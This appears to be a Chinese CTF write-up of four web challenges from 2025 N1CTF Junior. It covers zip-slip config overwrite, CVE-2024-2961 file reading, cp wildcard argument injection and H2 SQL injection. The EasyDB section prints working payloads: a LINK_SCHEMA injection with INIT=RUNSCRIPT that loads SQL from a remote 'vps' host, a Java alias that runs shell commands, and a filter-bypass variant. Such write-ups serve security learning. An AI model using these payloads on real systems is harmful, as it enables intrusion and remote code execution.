2025 N1CTF Junior
脖子疼
2025 N1CTF Junior
traefik
存在任意文件解压
这里可以解压到任意目录下,覆盖原来有的内容
这里可以覆盖他的反代配置,然后把flag路由暴露出来
这里限制了flag访问必须要是本地ip,需要伪造
可以设置yaml,中间设置一个中间件,修改所有经过的xff头
exp如下
1 | import zipfile |
访问flag即可
Gavatar
1 | 哈哈 我是铸币,忘记cookie了 |
这里file_get_contents 接受一个url,然后可以读文件
但是flag无权限,需要/readflag 才可以得到
考虑CVE-2024-2961
本地用flask起一个转接口即可
1 | import flask |
得到flag
backup
f12 给了一句话后门 弹shell出来就行
根目录下存在一个backup.sh
第一眼尝试了软连接,但是显然不行
只能修改软连接的
然后就开始了痛苦的思考。。
偶然发现
1 | cp -P * /var/www/html/backup/ |
能不能控制* 为一个文件名字?
好的还是失败了
然后又想到
能不能-R指向/flag,然后-R 直接chmod flag?
失败了,本地都不行
突然发现,*可以匹配文件名字,如果文件名字里面存在参数就可以添加到cp的参数里面
然后发现了这样一个参数 -H
可以创建一个文件叫-H 然后创建一个软连接指向flag,这样-H 参数会覆盖掉前面的-p 完成修改权限
然后cat z即可
EasyDB
这不好笑
存在sql注入
使用的是h2数据库
参考
从sw历史漏洞学习h2db注入利用 - FreeBuf网络安全行业门户
尝试写文件
1 | admin' union select 1,file_write(hextoraw('0061'),'test'),'3'-- |
这里的file被过滤了,没有办法写入
1 | 欸我真是傻逼,我忘记过滤了,研究了一晚上为什么我写入文件失败,本地能写doceker不行,原来是没看waf |
link_schema
1 | SELECT * FROM LINK_SCHEMA('TEST2', '', 'jdbc:h2:./test2', 'sa', 'sa', 'PUBLIC'); |
可以使用这个加载数据库
发现有一个参数INIT
1 | INIT H2 在数据库初始化时,自动执行指定的 SQL 脚本。 |
可以加载远程的sql,相当于可以执行任意sql语句
1 | CREATE ALIAS SHELL AS 'String exec(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); }'; |
语句如下
1 | admin' union select 1,'2','3' from link_schema('TEST2', '', 'jdbc:h2:mem:testdb1;INIT=RUNSCRIPT FROM ''http://vps:port/hello.sql''', 'sa', 'sa', 'PUBLIC')-- |
但是RUNSCRIPT被过滤了,拼接绕过下
1 | admin' union select 1,'2','3' from link_schema('TEST2', '', 'jdbc:h2:mem:testdb1;INIT=RUNSC'||'RIPT FROM ''http://vps:port/hello.sql''', 'sa', 'sa', 'PUBLIC')-- |